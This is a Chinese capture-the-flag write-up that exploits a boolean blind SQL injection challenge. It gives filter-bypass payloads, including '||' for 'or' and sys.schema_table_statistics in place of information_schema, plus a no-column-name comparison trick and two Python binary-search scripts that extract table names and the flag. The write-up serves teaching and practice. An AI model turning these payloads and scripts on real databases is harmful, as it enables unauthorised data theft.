访问页面,大孝子的微笑
让我只能暗自庆幸现在是公司的午休时间;
我果断抓包测试,不能在原页面上测;
输入框填个1
,返回了Nu1L
;
输入1'
,返回bool(false)
;
这可是一个关键信息,可能是布尔盲注;
fuzz一下,过滤的应该是符号
+关键字
+符号
;
所以or
会被过滤, 直接用||
代替就好了;
试试布尔注入;
-1||length(database())>1
则返回结果为true
,输出结果为Nu1L
;
当返回结果为false
,输出结果为Error Occured When Fetch Result.
可以测试;
-1||(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>1)
结果被过滤了;
检查了一下,应该是information_shcema
被过滤了;
这里有个知识点,可以用sys_schema_table_statistics
表来获取数据;
构造payload:
-1||(ascii(substr((select group_concat(table_name) from sys.schema_table_statistics where table_schema=database()),1,1))>1)
测试后,返回Nu1L
;
写个脚本;
import requests
import time
flag = ""
for i in range(1, 100):
low = 32
high = 128
mid = (low + high) // 2
while low < high:
url = 'http://8206b8e3-de88-4cf4-9a01-f612c6f9a762.node3.buuoj.cn/index.php'
payload = {
"id":'-1||(ascii(substr((select group_concat(table_name) from sys.schema_table_statistics where table_schema=database()),{0},1))>{1})'.format(i,mid)
}
res = requests.post(url, payload)
if 'Nu1L' in res.text:
low = mid + 1
else:
high = mid
mid = (low + high) // 2
time.sleep(0.1)
if (mid == 32 or mid == 127):
break
flag = flag + chr(mid)
print(flag)
跑出了两个表,users233333333333333
和f1ag_1s_h3r3_hhhhh
;
后续要如何替代information_schema
来获取列名呢?
这里用无列名注入
;
用以下例子来理解这个方法的原理;
在对字符串进行比较的时候,由于单词的首字母k
>j
(ascii),所以返回的结果为1
;
在不知道列名的情况下,通过填充我们的比对字符串,来匹配表中的value
的每一个字符,从而得到value
的值;
为了更好的理解,我创建了一个表;
已知f
的ascii码为102
;
再来看看这个;
不难看出,第一个字符到最后一个字符遍历比对;
这样,我们可以把每次比对完成的字符一次次拼接,进入循环再次比对;
给大伙看看我的笨批jio本,用的二分法;
import requests
import time
flag = ""
myflag = ""
for i in range(1, 100):
low = 32
high = 128
mid = (low + high) // 2
flag = myflag
while low < high:
flag = flag + chr(mid)
url = 'http://8206b8e3-de88-4cf4-9a01-f612c6f9a762.node3.buuoj.cn/index.php'
payload = {
"id": '-1||((select 1,"{0}")>(select * from f1ag_1s_h3r3_hhhhh))'.format(flag)
}
res = requests.post(url, payload)
if 'Nu1L' in res.text:
high = mid
else:
low = mid + 1
flag = myflag + ''
mid = (low + high) // 2
time.sleep(0.1)
if (mid == 32 or mid == 127):
break
myflag = myflag + chr(mid - 1)
print(myflag)
跑完了发现忘记写比较完成相同的情况了233,跑个不停,这个我就懒得再写了;
满眼flag,太幸福了;
另外我直接交上去大写的flag,结果错了,换成小写交上去就对了;
用大写的原因估计是方便暴力跑出来的脚本,因为大写字母ASCII码相较之下靠前一些;
FLAG{34B5DC73-6FAC-4AD8-B504-713A306B319A}
flag{34b5dc73-6fac-4ad8-b504-713a306b319a}